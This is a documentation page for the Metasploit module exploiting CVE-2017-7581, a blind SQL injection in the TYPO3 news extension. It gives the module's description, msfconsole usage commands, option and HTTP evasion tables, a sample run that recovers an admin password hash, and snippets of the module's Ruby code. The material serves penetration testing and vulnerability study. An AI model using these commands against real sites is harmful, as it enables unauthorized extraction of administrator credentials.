TYPO3 News Module SQL Injection - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/typo3_news_module_sqli metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: TYPO3 News Module SQL Injection
Module: auxiliary/admin/http/typo3_news_module_sqli
Source code: modules/auxiliary/admin/http/typo3_news_module_sqli.rb
Disclosure date: 2017-04-06
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-7581

This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection can be used to obtain password hashes for application user accounts. This module has been tested on TYPO3 3.16.0 running news extension 5.0.0. This module tries to extract username and password hash of the administrator user. It tries to inject sql and check every letter of a pattern, to see if it belongs to the username or password it tries to alter the ordering of results. If the letter doesn't belong to the word being extracted then all results are inverted (News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs to the word being extracted then the results are in proper order (News #1 appears before News #2, so Pattern1 before Pattern2)

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/typo3_news_module_sqli
msf auxiliary(typo3_news_module_sqli) > show targets
    ... a list of targets ...
msf auxiliary(typo3_news_module_sqli) > set TARGET target-id
msf auxiliary(typo3_news_module_sqli) > show options
    ... show and set options ...
msf auxiliary(typo3_news_module_sqli) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


News module extensions v5.3.2 and earlier for TYPO3 contain an SQL injection vulnerability. This module allows an unauthenticated user to exploit the SQL injection vulnerability by generating requests to retrieve the password hash for the admin user of the application. This module has been tested on TYPO3 3.16.0 running news extension 5.0.0.

Vulnerable Application


In vulnerable versions of the news module for TYPO3, a filter for unsetting user specified values does not account for capitalization of the paramter name. This allows a user to inject values to an SQL query.

To exploit the vulnerability, the module generates requests and sets a value for order and OrderByAllowed, which gets passed to the SQL query. The requests are constructed to reorder the display of news articles based on a character matching. This allows a blind SQL injection to be performed to retrieve a username and password hash.

Options


PATTERN1 and PATTERN2

These patterns are used to determine whether the news articles have been reordered. By default, the module will search for headlines and set the first identified headline to PATTERN1 and the second to PATTERN2.

ID

The value for query parameter id of the page that the news extension is running on.

Verification Steps


  • [ ] Install Typo3 VM
  • [ ] Launch the VM and configure it
  • [ ] SSH to the VM
  • [ ] cd /var/www/typo3/ && composer require georgringer/news:5.0.0
  • [ ] Login to the web interface
  • [ ] Enable the news extension
  • [ ] Import vulnerable page
  • [ ] Enable page
  • [ ] Verify if page is visble to unauthenticated user and note the id
  • [ ] ./msfconsole -q -x 'use auxiliary/admin/http/typo3_news_module_sqli; set rhost <rhost>; set id <id>; run'
  • [ ] Username and password hash should have been retrieved

Scenarios


News Module 5.0.0 on TYPO3 3.16.0

msfdev@simulator:~/git/metasploit-framework$ ./msfconsole -q -x 'use auxiliary/admin/http/typo3_news_module_sqli; set rhost 172.22.222.136; set id 37; run'
rhost => 172.22.222.136
id => 37
[*] Trying to automatically determine Pattern1 and Pattern2...
[*] Pattern1: Article #1, Pattern2: Article #2
[+] Username: admin
[+] Password Hash: $P$Ch4lme3.gje9o.DjMip59baG7b/mIp.
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/typo3_news_module_sqli) > 

Go back to menu.

Msfconsole Usage


Here is how the admin/http/typo3_news_module_sqli auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/typo3_news_module_sqli

msf6 auxiliary(admin/http/typo3_news_module_sqli) > show info

       Name: TYPO3 News Module SQL Injection
     Module: auxiliary/admin/http/typo3_news_module_sqli
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-04-06

Provided by:
  Marco Rivoli
  Charles Fol

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  ID         1                yes       The id of TYPO3 news page
  PATTERN1   Article #1       no        Pattern of the first article title
  PATTERN2   Article #2       no        Pattern of the second article title
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The path of TYPO3
  VHOST                       no        HTTP server virtual host

Description:
  This module exploits a SQL Injection vulnerability In TYPO3 
  NewsController.php in the news module 5.3.2 and earlier. It allows 
  an unauthenticated user to execute arbitrary SQL commands via 
  vectors involving overwriteDemand and OrderByAllowed. The SQL 
  injection can be used to obtain password hashes for application user 
  accounts. This module has been tested on TYPO3 3.16.0 running news 
  extension 5.0.0. This module tries to extract username and password 
  hash of the administrator user. It tries to inject sql and check 
  every letter of a pattern, to see if it belongs to the username or 
  password it tries to alter the ordering of results. If the letter 
  doesn't belong to the word being extracted then all results are 
  inverted (News #2 appears before News #1, so Pattern2 before 
  Pattern1), instead if the letter belongs to the word being extracted 
  then the results are in proper order (News #1 appears before News 
  #2, so Pattern1 before Pattern2)

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-7581
  http://www.ambionics.io/blog/typo3-news-module-sqli

Module Options


This is a complete list of options available in the admin/http/typo3_news_module_sqli auxiliary module:

msf6 auxiliary(admin/http/typo3_news_module_sqli) > show options

Module options (auxiliary/admin/http/typo3_news_module_sqli):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ID         1                yes       The id of TYPO3 news page
   PATTERN1   Article #1       no        Pattern of the first article title
   PATTERN2   Article #2       no        Pattern of the second article title
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The path of TYPO3
   VHOST                       no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/typo3_news_module_sqli auxiliary module:

msf6 auxiliary(admin/http/typo3_news_module_sqli) > show advanced

Module advanced options (auxiliary/admin/http/typo3_news_module_sqli):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/typo3_news_module_sqli module can do:

msf6 auxiliary(admin/http/typo3_news_module_sqli) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/typo3_news_module_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/typo3_news_module_sqli) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed: <E.CLASS> - <E.MESSAGE>


Here is a relevant code snippet related to the "Failed: <E.CLASS> - <E.MESSAGE>" error message:

136:	          'tx_news_pi1[search][subject]' => '',
137:	          'tx_news_pi1[search][minimumDate]' => '' # Not required
138:	        }
139:	      })
140:	    rescue Rex::ConnectionError, Errno::CONNRESET => e
141:	      print_error("Failed: #{e.class} - #{e.message}")
142:	    end
143:	    if res && res.code == 200
144:	      unless res.body.index(patterns[:pattern1]).nil? || res.body.index(patterns[:pattern2]).nil?
145:	        return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2])
146:	      end

Failed: <E.CLASS> - <E.MESSAGE>


Here is a relevant code snippet related to the "Failed: <E.CLASS> - <E.MESSAGE>" error message:

158:	          'id' => datastore['ID'],
159:	          'no_cache' => '1'
160:	        }
161:	      })
162:	    rescue Rex::ConnectionError, Errno::ECONNRESET => e
163:	      print_error("Failed: #{e.class} - #{e.message}")
164:	      return '', ''
165:	    end
166:	
167:	    if res && res.code == 200
168:	      news = res.get_html_document.search('div[@itemtype="http://schema.org/Article"]')

Unable to determine pattern, aborting...


Here is a relevant code snippet related to the "Unable to determine pattern, aborting..." error message:

181:	  end
182:	
183:	  def run
184:	    pattern1, pattern2 = try_autodetect_patterns
185:	    if pattern1 == '' || pattern2 == ''
186:	      print_error("Unable to determine pattern, aborting...")
187:	    else
188:	      dump_the_hash(:pattern1 => pattern1, :pattern2 => pattern2)
189:	    end
190:	  end
191:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Marco Rivoli
  • Charles Fol

Version


This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.